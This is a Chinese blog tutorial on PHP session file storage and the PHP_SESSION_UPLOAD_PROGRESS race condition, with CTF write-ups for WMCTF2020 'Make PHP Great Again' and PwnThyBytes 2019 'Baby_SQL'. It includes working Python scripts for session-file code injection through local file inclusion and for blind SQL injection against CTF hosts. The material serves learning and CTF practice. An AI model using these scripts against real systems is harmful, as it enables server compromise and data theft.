您好,登錄后才能下訂單哦!
這篇文章主要介紹“PHP Session條件競爭問題怎么解決”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“PHP Session條件競爭問題怎么解決”文章能幫助大家解決問題。
PHP SESSION 的存儲
Session會話存儲方式
PHP將session以文件的形式存儲服務器的文件中,session.save_path來控制
默認路徑
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默認是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段
但是在賽題中大多數都是/tmp目錄下,需要php.ini力sesion.auto_start設置為1,然后修改目錄
session.auto_start
:如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執行session_start()。但默認情況下,也是通常情況下,這個選項都是默認關閉的。
session.upload_progress.cleanup = on
:表示當文件上傳結束后,php將會立即清空對應session文件中的內容。該選項默認開啟
session.use_strict_mode
:默認情況下,該選項的值是0,此時用戶可以自己定義Session ID。
使用 Python 實現創建 Session 文件的過程:
import io import requests import threading sessid = 'whoami' def POST(session): f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用來改變session中的值 files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} //用來sesssion中的文件名 sess_whoami ) with requests.session() as session: while True: POST(session) print("[+] 成功寫入sess_whoami")
[WMCTF2020]Make PHP Great Again
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
這道題是文件包含,已經包含過了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過
/proc/self指向當前進程的/proc/pid/
/proc/self/root/是指向/的符號鏈接
這道題也可以 用條件競爭進行,
import io import sys import requests import threading host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/' sessid = 'feng' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"}, "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值 files={ "file":('a.txt', f)}, cookies={ 'PHPSESSID':sessid}//改名 ) def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路徑 # print(response.text) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5 print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環 多層線程 t1.daemon = True //相當完成任務直接結束,不用等線程全部結束 t1.start() READ(session)
線程結束后,想在網頁獲得php壞境頁面可是找不到,
[PwnThyBytes 2019]Baby_SQL
訪問源碼,獲得source.zip
打開后發現index.php
<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value) { !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>
都要經過最后的過濾,然后通過傳參p進行包含templates目錄下面的文件
login.php
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!')); ?>
發現就login.php里面沒有過濾,然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思為如果不存在session就die輸出,前面的為true才執行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才執行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執行$con->close()
,然后這個執行返回true的話就會執行die(“Not allowed!”);
所以如果我們要直接訪問login.php進行sql注入的話,還需要帶上一個session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS
了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS
來在目標服務器上初始化一個session,然后便可以繞過index.php中的檢測,直接訪問login.php進行sql注入了。
import requests url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php" //這個templates是因為login.php在這個目錄下面 files = {"file": "123456789"} a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'http': "http://127.0.0.1:8080"})通過這個接口,burp就可以抓包到 print(a.text)
然后對username進行注入,發現是用"進行閉合,然后回顯,可以用盲注實現
<meta http-equiv="refresh" content="0; url=?p=home" />
import requests import time url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php" files = {"file": "123456789"} flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 ): break flag +=chr(mid) print(flag) print(flag)
關于“PHP Session條件競爭問題怎么解決”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。